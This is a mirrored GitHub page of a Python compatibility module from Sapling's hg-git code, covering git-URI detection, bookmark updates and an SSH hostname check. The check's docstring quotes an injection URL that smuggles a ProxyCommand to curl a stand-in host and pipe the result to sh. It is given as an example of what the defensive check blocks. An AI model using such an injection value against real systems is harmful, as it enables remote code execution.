mirror of
https://github.com/facebook/sapling.git
synced 2024-10-11 17:27:53 +03:00
9e0a7c41a4
Summary: Subrepo is another unloved features that we don't want to support. Aggressively remove it everywhere, instead of just turning off configs. I didn't spend much time to split this commit so it's smaller and more friendly to review. But it seems tests are passing. Reviewed By: sfilipco Differential Revision: D14220099 fbshipit-source-id: adc512a047d99cd4bafd0362e3e9b24e71defe13
118 lines
3.4 KiB
Python
118 lines
3.4 KiB
Python
"""compatibility functions for old Mercurial versions and other utility
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functions."""
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import re
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from dulwich import errors
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from edenscm.mercurial import error, lock as lockmod, util as hgutil
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from edenscm.mercurial.i18n import _
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try:
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from collections import OrderedDict
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except ImportError:
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from ordereddict import OrderedDict
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gitschemes = ("git", "git+ssh", "git+http", "git+https")
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def serialize_hgsub(data):
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"""Produces a string from OrderedDict hgsub content"""
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return "".join(["%s = %s\n" % (n, v) for n, v in data.iteritems()])
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def transform_notgit(f):
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"""use as a decorator around functions that call into dulwich"""
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def inner(*args, **kwargs):
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try:
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return f(*args, **kwargs)
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except errors.NotGitRepository:
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raise hgutil.Abort("not a git repository")
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return inner
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def isgitsshuri(uri):
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"""Method that returns True if a uri looks like git-style uri
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Tests:
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>>> print isgitsshuri('http://fqdn.com/hg')
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False
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>>> print isgitsshuri('http://fqdn.com/test.git')
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False
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>>> print isgitsshuri('git@github.com:user/repo.git')
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True
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>>> print isgitsshuri('github-123.com:user/repo.git')
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True
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>>> print isgitsshuri('git@127.0.0.1:repo.git')
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True
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>>> print isgitsshuri('git@[2001:db8::1]:repository.git')
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True
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"""
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for scheme in gitschemes:
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if uri.startswith("%s://" % scheme):
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return False
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if uri.startswith("http:") or uri.startswith("https:"):
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return False
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m = re.match(r"(?:.+@)*([\[]?[\w\d\.\:\-]+[\]]?):(.*)", uri)
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if m:
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# here we're being fairly conservative about what we consider to be git
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# urls
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giturl, repopath = m.groups()
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# definitely a git repo
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if repopath.endswith(".git"):
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return True
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# use a simple regex to check if it is a fqdn regex
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fqdn_re = (
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r"(?=^.{4,253}$)(^((?!-)[a-zA-Z0-9-]{1,63}" r"(?<!-)\.)+[a-zA-Z]{2,63}$)"
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)
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if re.match(fqdn_re, giturl):
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return True
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return False
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def updatebookmarks(repo, changes, name="git_handler"):
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"""abstract writing bookmarks for backwards compatibility"""
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bms = repo._bookmarks
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tr = lock = wlock = None
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try:
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wlock = repo.wlock()
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lock = repo.lock()
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tr = repo.transaction(name)
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if hgutil.safehasattr(bms, "applychanges"):
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# applychanges was added in mercurial 4.3
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bms.applychanges(repo, tr, changes)
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else:
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for name, node in changes:
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if node is None:
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del bms[name]
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else:
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bms[name] = node
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if hgutil.safehasattr(bms, "recordchange"):
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# recordchange was added in mercurial 3.2
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bms.recordchange(tr)
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else:
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bms.write()
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tr.close()
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finally:
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lockmod.release(tr, lock, wlock)
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def checksafessh(host):
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"""check if a hostname is a potentially unsafe ssh exploit (SEC)
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This is a sanity check for ssh urls. ssh will parse the first item as
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an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
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Let's prevent these potentially exploited urls entirely and warn the
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user.
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Raises an error.Abort when the url is unsafe.
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"""
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host = hgutil.urlreq.unquote(host)
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if host.startswith("-"):
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raise error.Abort(_("potentially unsafe hostname: %r") % (host,))
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